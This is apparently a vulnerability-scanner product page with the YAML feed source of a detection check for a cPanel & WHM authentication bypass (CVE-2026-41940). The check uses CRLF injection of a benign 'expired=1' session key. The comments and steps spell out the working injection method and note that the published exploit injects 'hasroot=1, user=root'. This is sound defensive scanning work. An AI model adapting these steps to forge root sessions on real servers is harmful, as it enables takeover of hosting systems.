cPanel & WHM — 1 vulnerability check
noctis ships 1 vulnerability check for cPanel & WHM, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
cPanel & WHM Authentication Bypass via CRLF Session-File Injection
| CVE | CVE-2026-41940 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | set_var, http_request, script, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/cpanel-whm/CVE-2026-41940.yaml |
Detects the cPanel & WHM authentication bypass (CVE-2026-41940), in which CR/LF characters in the password of a Basic-auth login are written as extra key=value lines into the session file, letting an unauthenticated attacker forge a root session. The test opens a pre-authentication WHM session, sends a login attempt for a random, non-existent user whose password injects the harmless line "expired=1", then opens the session URL the server handed out: the "expired session" login message proves the injected line became a session key. No account is logged in to and no privileged session is created; the target keeps one expired pre-auth session file. WHM is probed directly (ports 2086/2087) and through the /___proxy_subdomain_whm path that cPanel's web server forwards to WHM.
How noctis detects it
- HTTP(S) request
GET {{prefix}}/openid_connect/cpanelid - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET {{prefix}}/login HTTP/1.1 - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{prefix}}/ - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{prefix}}/ - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{prefix}}/{{t.token}}/ - Checks
chk.bodyformsg_code:\[expired_session\]→ finding QoD 97: WHM…: a login attempt for a random user with password "\xff\nexpired=1" and the session cookie stripped of its ob part made session /…/ rep…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2026-41940
- https://support.cpanel.net/hc/en-us/articles/40073787579671-cPanel-WHM-Security-Update-04-28-2026
- https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/
- https://slcyber.io/research-center/high-fidelity-check-for-the-cpanel-authentication-bypass-cve-2026-41940/
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Feed source — tests/vulnerabilities/cpanel-whm/CVE-2026-41940.yaml
# cPanel & WHM Authentication Bypass — CVE-2026-41940
#
# cpsrvd writes the password of a Basic-auth login attempt into the pre-auth session
# file. When the session cookie is sent WITHOUT its ",<ob hex>" tail, the password is
# stored unencoded, so CR/LF in it add arbitrary key=value lines to the session
# (hasroot=1, user=root… in the published exploit). Fixed in the 2026-04-28 update.
#
# Detection — benign marker key instead of a forged root session (Assetnote / SL Cyber
# "cpanel2shell-scanner" method, https://github.com/assetnote/cpanel2shell-scanner):
# 0. GET <prefix>/openid_connect/cpanelid — cpsrvd 307s to its canonical hostname;
# that name is sent as Host on every later request (a wrong Host gets a 307 to
# the canonical name on GET / instead of the /cpsess token — watchTowr generator).
# 1. GET <prefix>/login — mints a pre-auth session: Set-Cookie
# whostmgrsession=%3a<name>%2c<ob hex>. Read over a raw socket: http_request keeps
# only the LAST Set-Cookie header.
# 2. GET <prefix>/ with Cookie whostmgrsession=%3a<name> (ob tail stripped) and
# Authorization: Basic base64("u<random hex>:\xff\nexpired=1"). The 307 Location
# leaks the session's /cpsessNNNNNNNNNN token.
# 3. GET <prefix>/cpsessNNNNNNNNNN/ with the original cookie: the login page carries
# msg_code:[expired_session] only when the injected "expired=1" line became a
# session key — the injection itself, proven with a key that grants nothing.
# A random, non-existent user name: no real account is targeted (no cphulkd
# lockout of root, no root-IP allowlist false negative), no root session is
# created; the only leftover is an already-expired pre-auth session file.
# <prefix> is "" (WHM 2086/2087) and "/___proxy_subdomain_whm": cPanel's Apache vhosts
# ProxyPass that path to WHM on every vhost (80/443), whatever the Host header.
#
# Previous version (issue #2398): sent a fixed cookie (NOCTIS_TEST) only the mock
# accepted and a fixed /cpsess9999999999 token — 0 findings on any real WHM.
uid: 190d01fa-ae98-4206-9dd6-d0244af9c999
name: "cPanel & WHM Authentication Bypass via CRLF Session-File Injection"
description: |
Detects the cPanel & WHM authentication bypass (CVE-2026-41940), in which CR/LF
characters in the password of a Basic-auth login are written as extra key=value
lines into the session file, letting an unauthenticated attacker forge a root
session. The test opens a pre-authentication WHM session, sends a login attempt for
a random, non-existent user whose password injects the harmless line "expired=1",
then opens the session URL the server handed out: the "expired session" login
message proves the injected line became a session key. No account is logged in to
and no privileged session is created; the target keeps one expired pre-auth session
file. WHM is probed directly (ports 2086/2087) and through the
/___proxy_subdomain_whm path that cPanel's web server forwards to WHM.
cves: [CVE-2026-41940]
cvss: 9.8
severity: critical
category: auth-bypass
confidence_base: 0.30
tags: [cpanel, whm, crlf, auth-bypass, session-injection, kev]
services: [http, https]
author: noctis
version: "2.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2026-41940"
- "https://support.cpanel.net/hc/en-us/articles/40073787579671-cPanel-WHM-Security-Update-04-28-2026"
- "https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/"
- "https://slcyber.io/research-center/high-fidelity-check-for-the-cpanel-authentication-bypass-cve-2026-41940/"
- "https://www.cisa.gov/known-exploited-vulnerabilities-catalog"
steps:
# ── Loop group: every step below runs once per WHM path prefix ──
# Every stored result a script reads is pre-initialised (an undefined variable
# aborts the whole test; tcp_connect stores nothing when the connect fails).
- id: init-canon
action: set_var
var_name: canon
var_value: {status: 0, body: null, headers: {}}
loop:
over: ["", "/___proxy_subdomain_whm"]
var: prefix
- id: init-inj
action: set_var
var_name: inj
var_value: {status: 0, body: null, headers: {}}
- id: init-inj2
action: set_var
var_name: inj2
var_value: {status: 0, body: null, headers: {}}
- id: init-chk
action: set_var
var_name: chk
var_value: {status: 0, body: null, headers: {}}
- id: init-mint
action: set_var
var_name: mint_resp
var_value: {connected: false, banner: null}
# 0. Canonical host name (cpsrvd redirects a request with a foreign Host to it).
# Only a self-redirect counts: with the right Host already, cpsrvd starts the real
# cPanelID flow and redirects to the external identity provider instead.
- id: canonical
action: http_request
method: GET
path: "{{prefix}}/openid_connect/cpanelid"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
store_as: canon
- id: canonical-host
action: script
code: |
let h = target_host;
let loc = canon.headers["location"];
if canon.status >= 300 && canon.status < 400 && type_of(loc) == "string" {
let m = eregmatch("^https?://([A-Za-z0-9.-]+)(:[0-9]+)?/openid_connect/cpanelid", loc);
if m.len() > 1 { h = m[1]; }
}
#{ host: h }
store_as: c
# 1. Mint a pre-auth session (raw reply: every Set-Cookie header is visible).
- id: mint
action: tcp_connect
port: "{{port}}"
send: "GET {{prefix}}/login HTTP/1.1\r\nHost: {{c.host}}:{{port}}\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n\r\n"
store_as: mint_resp
- id: session
action: script
code: |
let out = #{ ok: false, cookie: "", bare: "", auth: "" };
if type_of(mint_resp.banner) == "string" {
let head = mint_resp.banner;
let cut = stridx(head, "\r\n\r\n");
if cut >= 0 { head = substr(head, 0, cut); }
if ereg("^HTTP/1\\.[01] [0-9]{3}", head) {
for raw in split(head, "\n") {
let m = eregmatch("^set-cookie:[ \\t]*whostmgrsession=([^;\\r]*)", raw, true);
if m.len() < 2 { continue; }
let v = m[1];
// name + "%2c<ob hex>" (or a literal ","): keep the name exactly as sent.
let p = eregmatch("^(.+?)(%2[cC]|,)[0-9A-Fa-f]+$", v);
if p.len() > 2 {
out.ok = true;
out.cookie = v;
out.bare = str_replace(p[1], ":", "%3a");
let user = "u" + rand_hex(5);
out.auth = base64_encode_hex(hexstr(user + ":") + "ff0a" + hexstr("expired=1"));
}
}
}
}
out
store_as: s
# 2. Login attempt carrying the injected line, with the ob-less cookie.
- id: inject
action: http_request
method: GET
path: "{{prefix}}/"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
condition: "s.ok == true"
headers:
Host: "{{c.host}}:{{port}}"
Authorization: "Basic {{s.auth}}"
Cookie: "whostmgrsession={{s.bare}}"
store_as: inj
- id: token
action: script
code: |
let out = #{ ok: false, token: "", host: c.host };
let loc = inj.headers["location"];
if s.ok == true && inj.status >= 300 && inj.status < 400 && type_of(loc) == "string" {
let m = eregmatch("/(cpsess[0-9]{10})([^0-9]|$)", loc);
if m.len() > 1 {
out.ok = true;
out.token = m[1];
}
}
out
store_as: t
# 2b. No token with the discovered name: retry with the scanned host name.
- id: inject-plain-host
action: http_request
method: GET
path: "{{prefix}}/"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
condition: "s.ok == true && t.ok == false && c.host != target_host"
headers:
Authorization: "Basic {{s.auth}}"
Cookie: "whostmgrsession={{s.bare}}"
store_as: inj2
- id: token-plain-host
action: script
code: |
let out = t;
let loc = inj2.headers["location"];
if t.ok == false && inj2.status >= 300 && inj2.status < 400 && type_of(loc) == "string" {
let m = eregmatch("/(cpsess[0-9]{10})([^0-9]|$)", loc);
if m.len() > 1 {
out = #{ ok: true, token: m[1], host: target_host };
}
}
out
store_as: t
# 3. The session URL with the original cookie: expired by the injected key?
- id: check
action: http_request
method: GET
path: "{{prefix}}/{{t.token}}/"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
condition: "t.ok == true"
headers:
Host: "{{t.host}}:{{port}}"
Cookie: "whostmgrsession={{s.cookie}}"
store_as: chk
- id: expired-marker
action: match
source: chk.body
pattern: 'msg_code:\[expired_session\]'
condition: "t.ok == true && type_of(chk.body) == \"string\""
on_match:
stop: true
finding:
confidence_delta: 0.67
qod: 97
evidence: "WHM{{prefix}}: a login attempt for a random user with password \"\\xff\\nexpired=1\" and the session cookie stripped of its ob part made session /{{t.token}}/ report msg_code:[expired_session] — the injected line became a session key (CVE-2026-41940)"